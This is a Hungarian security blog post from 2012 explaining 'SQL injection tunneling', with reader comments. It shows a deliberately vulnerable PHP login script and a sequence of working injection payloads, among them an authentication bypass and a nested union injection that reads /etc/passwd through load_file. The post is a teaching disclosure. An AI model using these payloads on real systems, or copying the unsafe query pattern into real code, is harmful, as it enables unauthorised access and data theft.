Tweets by @buherablog
profile for buherator at IT Security Stack Exchange, Q&A for IT security professionals

A BitBetyár Blog

Túljártál a nagyokosok eszén? Küldd be a mutatványodat! (e-mail a buherator gmailkomra jöhet)

Full-Disclosure / Névjegy / Coming out


Promó

H.A.C.K.

Címkék

0day (110) adobe (87) adobe reader (21) anonymous (26) apple (60) az olvasó ír (49) blackhat (20) botnet (22) bug (200) buherablog (44) buhera sörözés (39) bukta (49) deface (38) dns (22) dos (29) esemény (82) facebook (26) firefox (64) flash (33) gondolat (31) google (59) google chrome (36) hacktivity (37) hírek (117) incidens (224) internet explorer (88) iphone (35) java (50) jog (22) kína (21) kriptográfia (68) kultúra (21) linux (24) malware (43) microsoft (142) móka (48) mozilla (23) office (26) oracle (40) os x (43) patch (197) php (20) politika (31) privacy (58) programozás (22) safari (34) sql injection (62) windows (85) xss (77) Címkefelhő

Licensz

Creative Commons Licenc

SQL injection tunneling

2012.01.20. 15:00 | buherator | 3 komment

 A Niobium Attack Research volt olyan kedves, és megosztott velem (és veletek, vagyis velünk ;) egy érdekes ötletet a vak SQL injection támadások kiterjesztésére, a vakság "meggyógyítására". Az alább olvasható leírás az ő leírásuk általam megszerkesztett változata: 

Az alant elterülő - megtörtént eset alapján összeállított - PoC alapból PHP blind injectet tesz lehetővé, de kis reszeléssel kihozható belőle közvetlen adatolvasás is:

$conn = mysql_connect('127.0.0.1','root','') or die('connfail');
mysql_select_db('teszt', $conn) or die('selectdbfail');
$res = mysql_query('SELECT `id` FROM `auth` WHERE `username`=\''.
    $_POST['username'].'\' AND `password`= \''.md5($_POST['password']).
    '\'', $conn) or die(mysql_error($conn));
if(mysql_num_rows($res) == 0)
{
    die('loginfail');
}
else
{
    list($id) = mysql_fetch_array($res);
    $res = mysql_query('SELECT `realname`,`email` FROM '.
        '`userdata` WHERE `id`='.$id, $conn) or die(mysql_error($conn));
    list($realname, $email) = mysql_fetch_array($res);
    print "Hello $realname ($email)";
}

Emellé létrehozzuk a táblákat:

mysql> create table auth(id int(4) primary key not null auto_increment,
    -> username varchar(16), password varchar(32));
Query OK, 0 rows affected (0.01 sec)
mysql> create table userdata (id int(4), realname varchar(64), 
    -> email varchar(128));
Query OK, 0 rows affected (0.02 sec)
mysql> insert into auth values ('', 'johndoe', md5('asdfghjkl123'));
Query OK, 1 row affected, 1 warning (0.00 sec)
mysql> insert into userdata values('1', 'John Doe', 'doe@john.com');
Query OK, 1 row affected (0.00 sec)

Nézzük mire mit kapunk:

>> username=johndoe&password=asdfghjkl123
<< Hello John Doe (doe@john.com)

Sikertelen login:

>> username=x&password=x
<< loginfail

SQL injection próba:
>> username='&password=x
<< You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '9dd4e461268c8034f5c8564e155c67a6'' at line 1
Tiszta, nézzünk meg egy autentikáció megkerülést:
>> username=' or 1 -- -
<< Hello John Doe (doe@john.com)
Ez is működik, akkor most próbáljunk valami szokatlant:
>> username=noSuchUser' union select -1 -- -&password=x
<< Hello ()
A felhasználói adatok nem találhatók, mivel nincs -1-es ID a másik táblában.
>> username=noSuchUser' union select x -- -&password=x
<< Unknown column 'x' in 'field list'
Az auth táblában tényleg nincs x nevű mező, hozzáadunk pár aposztrófot:
>> username=noSuchUser' union select 'x' -- -&password=x
<< Unknown column 'x' in 'where clause'
Na, ez már a másik query! És itt a lényeg: tetszőleges stringet tudunk az első queryből SELECT-elni, amit a másodikban felhasználunk, vagyis a második lekérdezést az elsőn keresztül injektáljuk. Ezt nézzétek:
>> username=noSuchUser' union select '0 union select load_file("/etc/passwd"),1 ' -- -&password=x
<< Hello root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync [ ... ]

 

Címkék: sql injection az olvasó ír sql injection tunneling niobium attack research

Kommentek:

A hozzászólások a vonatkozó jogszabályok  értelmében felhasználói tartalomnak minősülnek, értük a szolgáltatás technikai  üzemeltetője semmilyen felelősséget nem vállal, azokat nem ellenőrzi. Kifogás esetén forduljon a blog szerkesztőjéhez. Részletek a  Felhasználási feltételekben és az adatvédelmi tájékoztatóban.

Yv@n 2012.01.21. 05:42:00

Ehhez mondjuk FILE jogosultság kell, ami host szintű, nem db specifikus, szóval a példában működik a root user miatt, a való életben viszont vagy explicit kell engedélyezni userekhez host szinten az adott jogosultságot, vagy kell az a blama, hogy az app rootként bindeljen sql-hez.

No persze nyilván db-ben parancsokkal még nézelődhet ettől.

_2501 2012.01.21. 11:06:54

szerintem nem ez a lényeg.

RobÚr 2012.01.25. 16:37:40

Nekem tetszik! :)
Köszi!